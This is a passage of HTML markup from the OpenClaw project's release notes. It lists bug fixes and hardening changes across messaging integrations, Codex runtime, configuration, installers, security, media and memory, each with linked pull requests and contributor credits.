href="https://github.com/martingarramon">@martingarramon</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</p>
</li>
<li>
<p>Codex: project newer OpenClaw chat history into resumed app-server threads and keep Codex turn timeouts inside the Codex runtime boundary so timeouts do not poison shared app-server clients or fall through to unrelated provider fallback. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4520169285" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86677" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86677/hovercard" href="https://github.com/openclaw/openclaw/pull/86677">#86677</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4516861602" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86476" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86476/hovercard" href="https://github.com/openclaw/openclaw/pull/86476">#86476</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TurboTheTurtle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TurboTheTurtle">@TurboTheTurtle</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pashpashpash/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pashpashpash">@pashpashpash</a>.</p>
</li>
<li>
<p>Config/doctor/update: narrow profiled tool-section doctor repair, keep runtime-injected legacy web-search provider config out of user-authored config validation, and keep prerelease tags excluded from stable updater resolution. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4527248275" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87030" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87030/hovercard" href="https://github.com/openclaw/openclaw/pull/87030">#87030</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4522614131" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86818" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86818/hovercard" href="https://github.com/openclaw/openclaw/pull/86818">#86818</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518201643" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86559" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86559/hovercard" href="https://github.com/openclaw/openclaw/pull/86559">#86559</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/luoyanglang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/luoyanglang">@luoyanglang</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stevenepalmer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stevenepalmer">@stevenepalmer</a>.</p>
</li>
<li>
<p>CLI/Windows: add a Windows-only stack-size respawn for stack-heavy startup paths, default CLI logs to local timestamps, and validate timeout/banner TTY state more strictly. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4527294921" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87031" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87031/hovercard" href="https://github.com/openclaw/openclaw/pull/87031">#87031</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4503181039" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85387" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85387/hovercard" href="https://github.com/openclaw/openclaw/pull/85387">#85387</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/giodl73-repo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/giodl73-repo">@giodl73-repo</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Locking/security: require owner identity proof before stale plugin lock removal, memoize session lock owner arguments, and avoid writing default exec approval stores unless policy state actually changed. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4522554669" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86814" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/86814/hovercard" href="https://github.com/openclaw/openclaw/issues/86814">#86814</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4525826501" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86964" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86964/hovercard" href="https://github.com/openclaw/openclaw/pull/86964">#86964</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Alix-007/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Alix-007">@Alix-007</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Install/release: bound Docker package build, inventory, pack, and tarball preparation with process-group timeouts; pin shrinkwrap patch drift to the pnpm lock; harden macOS restart and dSYM packaging; and run release Docker/live timeout wrappers in the foreground so child processes cannot wedge gates.</p>
</li>
<li>
<p>Telegram/network: treat <code>ENETDOWN</code> as a transient pre-connect network failure so Telegram sends, gateway unhandled-rejection handling, and cron network retries follow the same recovery path as sibling network outages. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4521478619" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86762" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86762/hovercard" href="https://github.com/openclaw/openclaw/pull/86762">#86762</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TurboTheTurtle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TurboTheTurtle">@TurboTheTurtle</a>.</p>
</li>
<li>
<p>Telegram: preserve inbound text entities, overlapping DM replies, account topic cache sidecars, outbound reply context, targeted bot-command mentions, durable group retry targets, forum topic names, and native progress callbacks. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4473919972" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83873" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83873/hovercard" href="https://github.com/openclaw/openclaw/pull/83873">#83873</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4502811207" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85361" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85361/hovercard" href="https://github.com/openclaw/openclaw/pull/85361">#85361</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506247444" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85555" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85555/hovercard" href="https://github.com/openclaw/openclaw/pull/85555">#85555</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4507163567" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85656" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85656/hovercard" href="https://github.com/openclaw/openclaw/pull/85656">#85656</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4508034086" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85709" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85709/hovercard" href="https://github.com/openclaw/openclaw/pull/85709">#85709</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4513918910" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86299" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86299/hovercard" href="https://github.com/openclaw/openclaw/pull/86299">#86299</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518070126" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86553" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86553/hovercard" href="https://github.com/openclaw/openclaw/pull/86553">#86553</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SebTardif/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SebTardif">@SebTardif</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/luoyanglang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/luoyanglang">@luoyanglang</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/neeravmakwana/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/neeravmakwana">@neeravmakwana</a>.</p>
</li>
<li>
<p>iMessage: read image attachments from local Messages attachment roots, dedupe duplicate local Messages-source accounts, seed direct DM history, fix image/group media attachment commands, advance catchup cursors after live handling, and keep slash-command acknowledgements in the source conversation. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4460513299" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82642" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82642/hovercard" href="https://github.com/openclaw/openclaw/pull/82642">#82642</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4504709372" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85475" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85475/hovercard" href="https://github.com/openclaw/openclaw/pull/85475">#85475</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518328054" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86569" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86569/hovercard" href="https://github.com/openclaw/openclaw/pull/86569">#86569</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4520556743" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86705" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86705/hovercard" href="https://github.com/openclaw/openclaw/pull/86705">#86705</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4520562136" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86706" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86706/hovercard" href="https://github.com/openclaw/openclaw/pull/86706">#86706</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4521775849" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86770" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86770/hovercard" href="https://github.com/openclaw/openclaw/pull/86770">#86770</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/homer-byte/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/homer-byte">@homer-byte</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TurboTheTurtle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TurboTheTurtle">@TurboTheTurtle</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/swang430/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/swang430">@swang430</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/omarshahine/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/omarshahine">@omarshahine</a>.</p>
</li>
<li>
<p>WhatsApp/QQ/Twitch/IRC/Slack: restore WhatsApp ack identity and group-drop warnings, make QQ Bot media respect <code>OPENCLAW_HOME</code>, serialize Twitch auth disconnects, store IRC channel routes canonically, and keep Slack downloaded files out of reply media. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4473618299" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83833" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83833/hovercard" href="https://github.com/openclaw/openclaw/pull/83833">#83833</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4501915785" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85309" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85309/hovercard" href="https://github.com/openclaw/openclaw/pull/85309">#85309</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4508902915" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85777" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85777/hovercard" href="https://github.com/openclaw/openclaw/pull/85777">#85777</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4509181286" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85794" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85794/hovercard" href="https://github.com/openclaw/openclaw/pull/85794">#85794</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510338183" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85906" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85906/hovercard" href="https://github.com/openclaw/openclaw/pull/85906">#85906</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4514166403" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86318" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86318/hovercard" href="https://github.com/openclaw/openclaw/pull/86318">#86318</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4520463860" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86697" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86697/hovercard" href="https://github.com/openclaw/openclaw/pull/86697">#86697</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sliverp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sliverp">@sliverp</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/neeravmakwana/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/neeravmakwana">@neeravmakwana</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Kailigithub/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Kailigithub">@Kailigithub</a>.</p>
</li>
<li>
<p>Discord/voice: improve voice playback and wake replies, bucket large model picker menus, merge media captions into one message, route metadata through configured proxies, restore numeric channel sends, suppress self-reply echoes, and tighten wake matching without breaking fuzzy wake phrases. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4415391667" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80227" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/80227/hovercard" href="https://github.com/openclaw/openclaw/issues/80227">#80227</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4513382967" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86238" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86238/hovercard" href="https://github.com/openclaw/openclaw/pull/86238">#86238</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4517016511" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86487" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86487/hovercard" href="https://github.com/openclaw/openclaw/pull/86487">#86487</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518354506" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86571" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86571/hovercard" href="https://github.com/openclaw/openclaw/pull/86571">#86571</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518728147" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86595" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86595/hovercard" href="https://github.com/openclaw/openclaw/pull/86595">#86595</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518852311" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86601" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86601/hovercard" href="https://github.com/openclaw/openclaw/pull/86601">#86601</a>)</p>
</li>
<li>
<p>Codex: preserve native web-search metadata, keep oversized native thread reuse, bridge CLI API-key auth into the app server, preserve sandbox bootstrap path style, recover context-window prompt errors, honor yolo approval policy, disable native thread personality, and route compaction through Codex auth. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4503098560" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85378" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85378/hovercard" href="https://github.com/openclaw/openclaw/pull/85378">#85378</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506087008" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85542" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85542/hovercard" href="https://github.com/openclaw/openclaw/pull/85542">#85542</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510132239" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85891" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85891/hovercard" href="https://github.com/openclaw/openclaw/pull/85891">#85891</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510371309" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85909" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85909/hovercard" href="https://github.com/openclaw/openclaw/pull/85909">#85909</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4515716562" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86408" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86408/hovercard" href="https://github.com/openclaw/openclaw/pull/86408">#86408</a>)</p>
</li>
<li>
<p>Agents/runtime: enforce session lock max-hold reclaim, release embedded-attempt locks on all exits, treat aborted subagent runs as terminal, avoid runtime model hydration on hot paths, disclose scoped session list counts, derive overflow budgets from provider errors, and keep fallback errors scoped to the active model candidate. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4313476027" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/70473" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/70473/hovercard" href="https://github.com/openclaw/openclaw/pull/70473">#70473</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4508768461" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85764" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85764/hovercard" href="https://github.com/openclaw/openclaw/pull/85764">#85764</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4511256935" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86014" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/86014/hovercard" href="https://github.com/openclaw/openclaw/issues/86014">#86014</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4512330133" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86134" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86134/hovercard" href="https://github.com/openclaw/openclaw/pull/86134">#86134</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4515962032" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86427" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86427/hovercard" href="https://github.com/openclaw/openclaw/pull/86427">#86427</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4525235363" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86944" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86944/hovercard" href="https://github.com/openclaw/openclaw/pull/86944">#86944</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/openperf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/openperf">@openperf</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zhangguiping-xydt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zhangguiping-xydt">@zhangguiping-xydt</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ferminquant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ferminquant">@ferminquant</a>.</p>
</li>
<li>
<p>Config/update/doctor: retry config recovery after failed backup restore, skip shell env fallback on Windows, exclude prerelease tags from the stable git channel, support deep config edits, warn instead of aborting on unreadable cron stores, prune stale bundled plugin paths, and avoid duplicate restart prompts when the Gateway is already healthy. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4508546495" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85739" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85739/hovercard" href="https://github.com/openclaw/openclaw/pull/85739">#85739</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4509027061" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85787" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85787/hovercard" href="https://github.com/openclaw/openclaw/pull/85787">#85787</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4511769726" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86060" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86060/hovercard" href="https://github.com/openclaw/openclaw/pull/86060">#86060</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4513592243" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86260" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86260/hovercard" href="https://github.com/openclaw/openclaw/pull/86260">#86260</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4515361802" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86384" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86384/hovercard" href="https://github.com/openclaw/openclaw/pull/86384">#86384</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4517880193" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86533" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86533/hovercard" href="https://github.com/openclaw/openclaw/pull/86533">#86533</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/liaoyl830/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/liaoyl830">@liaoyl830</a>.</p>
</li>
<li>
<p>Install/release: support Alpine CLI installs and runtime floors, avoid npm <code>min-release-age</code> installer failures, bound npm/package/Docker install phases, restore config parent ownership in Docker, seed Docker lockfile package tarballs before prune, and make release/plugin prerelease checks fail closed instead of hanging or false-greening. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4505205830" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85491" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85491/hovercard" href="https://github.com/openclaw/openclaw/pull/85491">#85491</a>)</p>
</li>
<li>
<p>Security: avoid printing Gateway tokens in Docker, validate plugin model-pattern regexes safely, escape transcript metadata field names, harden session allowlist glob matching, audit Claude permission overrides under YOLO, and require explicit allow for ACP auto approvals. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4509772199" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85849" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85849/hovercard" href="https://github.com/openclaw/openclaw/pull/85849">#85849</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510569360" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85934" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85934/hovercard" href="https://github.com/openclaw/openclaw/pull/85934">#85934</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4511654235" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86046" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86046/hovercard" href="https://github.com/openclaw/openclaw/pull/86046">#86046</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518138669" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86557" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86557/hovercard" href="https://github.com/openclaw/openclaw/pull/86557">#86557</a>)</p>
</li>
<li>
<p>Media/images: replace Sharp with Rastermill, keep EXIF normalization best-effort, normalize HEIC/HEIF before image descriptions, route Codex image API keys through OpenAI, preserve image compression metadata, and auto-scale live tool result caps. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4508895502" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85776" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85776/hovercard" href="https://github.com/openclaw/openclaw/pull/85776">#85776</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4511517298" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86037" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86037/hovercard" href="https://github.com/openclaw/openclaw/pull/86037">#86037</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4516124165" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86437" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86437/hovercard" href="https://github.com/openclaw/openclaw/pull/86437">#86437</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4523450985" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86857" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86857/hovercard" href="https://github.com/openclaw/openclaw/pull/86857">#86857</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4524700097" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86923" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86923/hovercard" href="https://github.com/openclaw/openclaw/pull/86923">#86923</a>)</p>
</li>
<li>
<p>Memory: prevent semantic vector indexes from silently degrading when embeddings are unavailable, stop doctor OOMs on large session stores, preserve sidecar hooks/artifacts, write fallback dream diaries, use CJK-aware dreaming dedupe, and avoid per-file watcher FD fan-out. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4419718885" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80613" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/80613/hovercard" href="https://github.com/openclaw/openclaw/issues/80613">#80613</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462409079" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82928" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/82928/hovercard" href="https://github.com/openclaw/openclaw/issues/82928">#82928</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4496988085" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85060" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85060/hovercard" href="https://github.com/openclaw/openclaw/pull/85060">#85060</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4507908481" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85704" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85704/hovercard" href="https://github.com/openclaw/openclaw/pull/85704">#85704</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510790288" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85967" data-hovercard-type="pull_request" 